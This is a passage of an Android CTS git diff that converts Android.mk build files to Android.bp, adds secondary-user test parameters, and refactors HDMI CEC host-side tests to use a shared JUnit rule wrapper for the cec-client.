License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +android_test_helper_app { + name: "CtsSyncInvalidAccountAuthorityTestCases", + defaults: ["cts_support_defaults"], + static_libs: [ + "android-support-annotations", + "androidx.test.rules", + "ctstestrunner-axt", + ], + srcs: ["src/**/*.java"], + sdk_version: "current", + test_suites: [ + "cts", + "vts", + "general-tests", + ], + optimize: { + enabled: false, + }, + dex_preopt: { + enabled: false, + }, +} diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk deleted file mode 100644 index fd3e5d45c95..00000000000 --- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.mk +++ /dev/null @@ -1,37 +0,0 @@ -# -# Copyright (C) 2017 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -LOCAL_PATH := $(call my-dir) - -include $(CLEAR_VARS) - -LOCAL_MODULE_TAGS := tests - -LOCAL_STATIC_JAVA_LIBRARIES := android-support-annotations androidx.test.rules ctstestrunner-axt - -LOCAL_SRC_FILES := $(call all-java-files-under, src) - -LOCAL_PACKAGE_NAME := CtsSyncInvalidAccountAuthorityTestCases - -LOCAL_SDK_VERSION := current - -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -LOCAL_PROGUARD_ENABLED := disabled - -LOCAL_DEX_PREOPT := false - -include $(BUILD_CTS_SUPPORT_PACKAGE) diff --git a/hostsidetests/cpptools/Android.mk b/hostsidetests/cpptools/Android.mk deleted file mode 100644 index 10ba6505f0c..00000000000 --- a/hostsidetests/cpptools/Android.mk +++ /dev/null @@ -1,16 +0,0 @@ -# Copyright (C) 2014 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH := $(call my-dir) -include $(call all-makefiles-under,$(LOCAL_PATH)) diff --git a/hostsidetests/cpptools/AndroidTest.xml b/hostsidetests/cpptools/AndroidTest.xml index 292c8de32e3..66d564e551c 100644 --- a/hostsidetests/cpptools/AndroidTest.xml +++ b/hostsidetests/cpptools/AndroidTest.xml @@ -19,6 +19,7 @@ <!-- b/123333261 : run-as not working for instant apps --> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsCppToolsApp.apk" /> diff --git a/hostsidetests/cpptools/test-apps/Android.mk b/hostsidetests/cpptools/test-apps/Android.mk deleted file mode 100644 index 27332529ff0..00000000000 --- a/hostsidetests/cpptools/test-apps/Android.mk +++ /dev/null @@ -1,23 +0,0 @@ -# Copyright (C) 2019 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH := $(call my-dir) - -include $(CLEAR_VARS) - -# tag this module as a cts test artifact -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests - -# Build the test APKs using their own makefiles -include $(call all-makefiles-under,$(LOCAL_PATH)) diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp new file mode 100644 index 00000000000..832725c2b86 --- /dev/null +++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp @@ -0,0 +1,37 @@ +// Copyright 2019 The Android Open Source Project +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +cc_test { + name: "connector", + srcs: ["connector.cpp"], + cflags: [ + "-Wall", + "-Werror", + ], + // Include both the 32 and 64 bit versions + compile_multilib: "both", + multilib: { + lib32: { + suffix: "32", + }, + lib64: { + suffix: "64", + }, + }, + test_suites: [ + "cts", + "vts", + "general-tests", + ], +} diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk deleted file mode 100644 index 4191a78a3ae..00000000000 --- a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.mk +++ /dev/null @@ -1,26 +0,0 @@ -# Copyright 2019 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -LOCAL_PATH:= $(call my-dir) - -include $(CLEAR_VARS) -LOCAL_MODULE := connector -LOCAL_SRC_FILES := connector.cpp -LOCAL_CFLAGS += -Wall -Werror -# Include both the 32 and 64 bit versions -LOCAL_MULTILIB := both -LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32 -LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64 -LOCAL_COMPATIBILITY_SUITE := cts vts general-tests -include $(BUILD_EXECUTABLE) diff --git a/hostsidetests/deviceidle/AndroidTest.xml b/hostsidetests/deviceidle/AndroidTest.xml index 16f631ac05e..c7c2f51723a 100644 --- a/hostsidetests/deviceidle/AndroidTest.xml +++ b/hostsidetests/deviceidle/AndroidTest.xml @@ -19,6 +19,7 @@ <!-- These are tests for the shell command to manage device idle whitelist. --> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> + <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > <option name="jar" value="CtsDeviceIdleHostTestCases.jar" /> <option name="runtime-hint" value="1m" /> diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java index b2a37eb798d..eb9950a6a17 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecUtils.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java @@ -16,8 +16,12 @@ package android.hdmicec.cts; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeTrue; + import com.android.tradefed.device.ITestDevice; import com.android.tradefed.log.LogUtil.CLog; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; import com.android.tradefed.util.RunUtil; import java.io.BufferedReader; @@ -29,8 +33,11 @@ import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; +import org.junit.Rule; +import org.junit.rules.ExternalResource; + /** Class that helps communicate with the cec-client */ -public final class HdmiCecUtils { +public final class HdmiCecClientWrapper extends ExternalResource { private static final String CEC_CONSOLE_READY = "waiting for input"; private static final int MILLISECONDS_TO_READY = 5000; @@ -44,24 +51,40 @@ public final class HdmiCecUtils { private boolean mCecClientInitialised = false; private CecDevice targetDevice; - private String physicalAddress; + private BaseHostJUnit4Test testObject; - public HdmiCecUtils(CecDevice targetDevice, String physicalAddress) { + public HdmiCecClientWrapper(CecDevice targetDevice, BaseHostJUnit4Test testObject) { this.targetDevice = targetDevice; - this.physicalAddress = physicalAddress; + this.testObject = testObject; } + @Override + protected void before() throws Throwable { + ITestDevice testDevice; + testDevice = testObject.getDevice(); + assertNotNull("Device not set", testDevice); + + assumeTrue(isHdmiCecFeatureSupported(testDevice)); + + this.init(); + }; + + @Override + protected void after() { + this.killCecProcess(); + }; + /** * Checks if the HDMI CEC feature is running on the device. Call this function before running * any HDMI CEC tests. * This could throw a DeviceNotAvailableException. */ - public static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception { + private static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception { return device.hasFeature(HDMI_CEC_FEATURE); } /** Initialise the client */ - public void init() throws Exception { + private void init() throws Exception { boolean gotExpectedOut = false; List<String> commands = new ArrayList(); int seconds = 0; @@ -313,7 +336,7 @@ public final class HdmiCecUtils { /** * Kills the cec-client process that was created in init(). */ - public void killCecProcess() { + private void killCecProcess() { try { checkCecClient(); sendConsoleMessage(CecClientMessage.QUIT_CLIENT.toString()); diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java index 5987ace8626..97c03d1705c 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecLogicalAddressTest.java @@ -17,38 +17,23 @@ package android.hdmicec.cts; import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assume.assumeTrue; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.IDeviceTest; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import org.junit.Before; +import org.junit.Rule; import org.junit.runner.RunWith; import org.junit.Test; /** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */ @RunWith(DeviceJUnit4ClassRunner.class) -public final class HdmiCecLogicalAddressTest implements IDeviceTest { +public final class HdmiCecLogicalAddressTest extends BaseHostJUnit4Test { private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1; - private ITestDevice mDevice; - - @Override - public void setDevice(ITestDevice device) { - mDevice = device; - } - - @Override - public ITestDevice getDevice() { - return mDevice; - } - - @Before public void testHdmiCecAvailability() throws Exception { - assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice())); - } + @Rule + public HdmiCecClientWrapper hdmiCecClient = + new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this); /** * Test 10.2.3-1 @@ -58,18 +43,9 @@ public final class HdmiCecLogicalAddressTest implements IDeviceTest { @Test public void cect_10_2_3_1_RebootLogicalAddress() throws Exception { ITestDevice device = getDevice(); - assertNotNull("Device not set", device); - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - device.executeShellCommand("reboot"); - device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT); - String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS); - assertEquals(PLAYBACK_DEVICE, hdmiCecUtils.getSourceFromMessage(message)); - } finally { - hdmiCecUtils.killCecProcess(); - } + device.executeShellCommand("reboot"); + device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT); + String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS); + assertEquals(PLAYBACK_DEVICE, hdmiCecClient.getSourceFromMessage(message)); } } diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java index cd7c7881f8d..d54f0c73365 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecOneTouchPlayTest.java @@ -17,39 +17,24 @@ package android.hdmicec.cts; import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assume.assumeTrue; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.IDeviceTest; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import org.junit.Before; +import org.junit.Rule; import org.junit.runner.RunWith; import org.junit.Test; /** HDMI CEC tests for One Touch Play (Section 11.2.1) */ @RunWith(DeviceJUnit4ClassRunner.class) -public final class HdmiCecOneTouchPlayTest implements IDeviceTest { +public final class HdmiCecOneTouchPlayTest extends BaseHostJUnit4Test { private static final int PHYSICAL_ADDRESS = 0x1000; - private ITestDevice mDevice; - - @Override - public void setDevice(ITestDevice device) { - mDevice = device; - } - - @Override - public ITestDevice getDevice() { - return mDevice; - } - - @Before public void testHdmiCecAvailability() throws Exception { - assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice())); - } + @Rule + public HdmiCecClientWrapper hdmiCecClient = + new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this); /** * Test 11.2.1-1 @@ -59,18 +44,9 @@ public final class HdmiCecOneTouchPlayTest implements IDeviceTest { @Test public void cect_11_2_1_1_OneTouchPlay() throws Exception { ITestDevice device = getDevice(); - assertNotNull("Device not set", device); - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - device.executeShellCommand("input keyevent KEYCODE_HOME"); - hdmiCecUtils.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON); - String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE); - assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message)); - } finally { - hdmiCecUtils.killCecProcess(); - } + device.executeShellCommand("input keyevent KEYCODE_HOME"); + hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.TEXT_VIEW_ON); + String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE); + assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message)); } } diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java index 0e61c24f799..e7ba3897590 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPhysicalAddressTest.java @@ -17,37 +17,22 @@ package android.hdmicec.cts; import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assume.assumeTrue; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.IDeviceTest; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import org.junit.Before; +import org.junit.Rule; import org.junit.runner.RunWith; import org.junit.Test; /** HDMI CEC test to verify physical address after device reboot (Section 10.1.2) */ @RunWith(DeviceJUnit4ClassRunner.class) -public final class HdmiCecPhysicalAddressTest implements IDeviceTest { +public final class HdmiCecPhysicalAddressTest extends BaseHostJUnit4Test { - private ITestDevice mDevice; - - @Override - public void setDevice(ITestDevice device) { - mDevice = device; - } - - @Override - public ITestDevice getDevice() { - return mDevice; - } - - @Before public void testHdmiCecAvailability() throws Exception { - assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice())); - } + @Rule + public HdmiCecClientWrapper hdmiCecClient = + new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this); /** * Test 10.1.2-1 @@ -57,20 +42,11 @@ public final class HdmiCecPhysicalAddressTest implements IDeviceTest { @Test public void cect_10_1_2_1_RebootPhysicalAddress() throws Exception { ITestDevice device = getDevice(); - assertNotNull("Device not set", device); - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - device.executeShellCommand("reboot"); - device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT); - String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS); - int physicalAddress = hdmiCecUtils.getParamsFromMessage(message, - HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH); - assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress); - } finally { - hdmiCecUtils.killCecProcess(); - } + device.executeShellCommand("reboot"); + device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT); + String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS); + int physicalAddress = hdmiCecClient.getParamsFromMessage(message, + HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH); + assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, physicalAddress); } } diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java index d396b05fdd4..30f8d5e2f49 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecPowerStatusTest.java @@ -17,40 +17,25 @@ package android.hdmicec.cts; import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assume.assumeTrue; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.IDeviceTest; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import org.junit.Before; +import org.junit.Rule; import org.junit.runner.RunWith; import org.junit.Test; /** HDMI CEC test to check if the device reports power status correctly (Section 11.2.14) */ @RunWith(DeviceJUnit4ClassRunner.class) -public final class HdmiCecPowerStatusTest implements IDeviceTest { +public final class HdmiCecPowerStatusTest extends BaseHostJUnit4Test { private static final int ON = 0x0; private static final int OFF = 0x1; - private ITestDevice mDevice; - - @Override - public void setDevice(ITestDevice device) { - mDevice = device; - } - - @Override - public ITestDevice getDevice() { - return mDevice; - } - - @Before public void testHdmiCecAvailability() throws Exception { - assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice())); - } + @Rule + public HdmiCecClientWrapper hdmiCecClient = + new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this); /** * Test 11.2.14-1 @@ -60,21 +45,12 @@ public final class HdmiCecPowerStatusTest implements IDeviceTest { @Test public void cect_11_2_14_1_PowerStatusWhenOn() throws Exception { ITestDevice device = getDevice(); - assertNotNull("Device not set", device); - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - /* Make sure the device is not booting up/in standby */ - device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT); - hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS); - String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV, - CecMessage.REPORT_POWER_STATUS); - assertEquals(ON, hdmiCecUtils.getParamsFromMessage(message)); - } finally { - hdmiCecUtils.killCecProcess(); - } + /* Make sure the device is not booting up/in standby */ + device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT); + hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS); + String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, + CecMessage.REPORT_POWER_STATUS); + assertEquals(ON, hdmiCecClient.getParamsFromMessage(message)); } /** @@ -85,23 +61,17 @@ public final class HdmiCecPowerStatusTest implements IDeviceTest { @Test public void cect_11_2_14_2_PowerStatusWhenOff() throws Exception { ITestDevice device = getDevice(); - assertNotNull("Device not set", device); - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - try { - hdmiCecUtils.init(); /* Make sure the device is not booting up/in standby */ device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT); device.executeShellCommand("input keyevent KEYCODE_SLEEP"); - hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS); - String message = hdmiCecUtils.checkExpectedOutput(CecDevice.TV, + hdmiCecClient.sendCecMessage(CecDevice.TV, CecMessage.GIVE_POWER_STATUS); + String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, CecMessage.REPORT_POWER_STATUS); - assertEquals(OFF, hdmiCecUtils.getParamsFromMessage(message)); + assertEquals(OFF, hdmiCecClient.getParamsFromMessage(message)); } finally { /* Wake up the device */ device.executeShellCommand("input keyevent KEYCODE_WAKEUP"); - hdmiCecUtils.killCecProcess(); } } } diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java index 1e5f05c2faa..d95bbcd450d 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecRoutingControlTest.java @@ -17,39 +17,23 @@ package android.hdmicec.cts; import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assume.assumeTrue; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.IDeviceTest; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import org.junit.Before; +import org.junit.Rule; import org.junit.runner.RunWith; import org.junit.Test; /** HDMI CEC test to test routing control (Section 11.2.2) */ @RunWith(DeviceJUnit4ClassRunner.class) -public final class HdmiCecRoutingControlTest implements IDeviceTest { +public final class HdmiCecRoutingControlTest extends BaseHostJUnit4Test { private static final int PHYSICAL_ADDRESS = 0x1000; - private ITestDevice mDevice; - - @Override - public void setDevice(ITestDevice device) { - mDevice = device; - } - - @Override - public ITestDevice getDevice() { - return mDevice; - } - - @Before public void testHdmiCecAvailability() throws Exception { - assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice())); - } + @Rule + public HdmiCecClientWrapper hdmiCecClient = new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this); /** * Test 11.2.2-2 @@ -59,20 +43,11 @@ public final class HdmiCecRoutingControlTest implements IDeviceTest { @Test public void cect_11_2_2_2_RequestActiveSource() throws Exception { ITestDevice device = getDevice(); - assertNotNull("Device not set", device); - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - device.executeShellCommand("input keyevent KEYCODE_HOME"); - hdmiCecUtils.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST, - CecMessage.REQUEST_ACTIVE_SOURCE); - String message = hdmiCecUtils.checkExpectedOutput(CecMessage.ACTIVE_SOURCE); - assertEquals(PHYSICAL_ADDRESS, hdmiCecUtils.getParamsFromMessage(message)); - } finally { - hdmiCecUtils.killCecProcess(); - } + device.executeShellCommand("input keyevent KEYCODE_HOME"); + hdmiCecClient.sendCecMessage(CecDevice.TV, CecDevice.BROADCAST, + CecMessage.REQUEST_ACTIVE_SOURCE); + String message = hdmiCecClient.checkExpectedOutput(CecMessage.ACTIVE_SOURCE); + assertEquals(PHYSICAL_ADDRESS, hdmiCecClient.getParamsFromMessage(message)); } /** @@ -83,19 +58,16 @@ public final class HdmiCecRoutingControlTest implements IDeviceTest { @Test public void cect_11_2_2_4_InactiveSourceOnStandby() throws Exception { ITestDevice device = getDevice(); - assertNotNull("Device not set", device); - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - try { - hdmiCecUtils.init(); device.executeShellCommand("input keyevent KEYCODE_HOME"); device.executeShellCommand("input keyevent KEYCODE_SLEEP"); - hdmiCecUtils.checkExpectedOutput(CecMessage.INACTIVE_SOURCE); + String message = hdmiCecClient.checkExpectedOutput(CecDevice.TV, + CecMessage.INACTIVE_SOURCE); + assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, + hdmiCecClient.getParamsFromMessage(message)); } finally { /* Wake up the device */ device.executeShellCommand("input keyevent KEYCODE_WAKEUP"); - hdmiCecUtils.killCecProcess(); } } } diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java index aff06c5bcef..9e86ee784bd 100644 --- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java +++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecSystemInformationTest.java @@ -17,39 +17,25 @@ package android.hdmicec.cts; import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertNotNull; -import static org.junit.Assume.assumeTrue; import com.android.tradefed.device.ITestDevice; -import com.android.tradefed.log.LogUtil.CLog; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.IDeviceTest; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; -import org.junit.Before; +import org.junit.Rule; import org.junit.runner.RunWith; import org.junit.Test; /** HDMI CEC system information tests (Section 11.2.6) */ @RunWith(DeviceJUnit4ClassRunner.class) -public final class HdmiCecSystemInformationTest implements IDeviceTest { +public final class HdmiCecSystemInformationTest extends BaseHostJUnit4Test { /** The version number 0x05 refers to CEC v1.4 */ private static final int CEC_VERSION_NUMBER = 0x05; - private ITestDevice mDevice; - - @Override - public void setDevice(ITestDevice device) { - mDevice = device; - } - @Override - public ITestDevice getDevice() { - return mDevice; - } - - @Before public void testHdmiCecAvailability() throws Exception { - assumeTrue(HdmiCecUtils.isHdmiCecFeatureSupported(getDevice())); - } + @Rule + public HdmiCecClientWrapper hdmiCecClient = + new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this); /** * Test 11.2.6-1 @@ -58,19 +44,10 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest { @Test public void cect_11_2_6_1_Ack() throws Exception { String command = CecClientMessage.POLL + " " + CecDevice.PLAYBACK_1; - String expectedOutput = "Playback 1 (" + CecDevice.PLAYBACK_1 + "): device " + - "status changed into 'present'"; - - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - hdmiCecUtils.sendConsoleMessage(command); - if (!hdmiCecUtils.checkConsoleOutput(expectedOutput)) { - throw new Exception("Could not find " + expectedOutput); - } - } finally { - hdmiCecUtils.killCecProcess(); + String expectedOutput = "POLL sent"; + hdmiCecClient.sendConsoleMessage(command); + if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) { + throw new Exception("Could not find " + expectedOutput); } } @@ -81,20 +58,13 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest { */ @Test public void cect_11_2_6_2_GivePhysicalAddress() throws Exception { - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - hdmiCecUtils.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS); - String message = hdmiCecUtils.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS); - /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We - * have to verify the last 6 nibbles */ - int receivedParams = hdmiCecUtils.getParamsFromMessage(message); - assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8); - assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF); - } finally { - hdmiCecUtils.killCecProcess(); - } + hdmiCecClient.sendCecMessage(CecMessage.GIVE_PHYSICAL_ADDRESS); + String message = hdmiCecClient.checkExpectedOutput(CecMessage.REPORT_PHYSICAL_ADDRESS); + /* The checkExpectedOutput has already verified the first 4 nibbles of the message. We + * have to verify the last 6 nibbles */ + int receivedParams = hdmiCecClient.getParamsFromMessage(message); + assertEquals(HdmiCecConstants.PHYSICAL_ADDRESS, receivedParams >> 8); + assertEquals(HdmiCecConstants.PLAYBACK_DEVICE_TYPE, receivedParams & 0xFF); } /** @@ -103,18 +73,11 @@ public final class HdmiCecSystemInformationTest implements IDeviceTest { */ @Test public void cect_11_2_6_6_GiveCecVersion() throws Exception { - HdmiCecUtils hdmiCecUtils = new HdmiCecUtils(CecDevice.PLAYBACK_1, "1.0.0.0"); - - try { - hdmiCecUtils.init(); - hdmiCecUtils.sendCecMessage(CecDevice.TV, CecMessage.GET_CEC_VERSION); - String message = 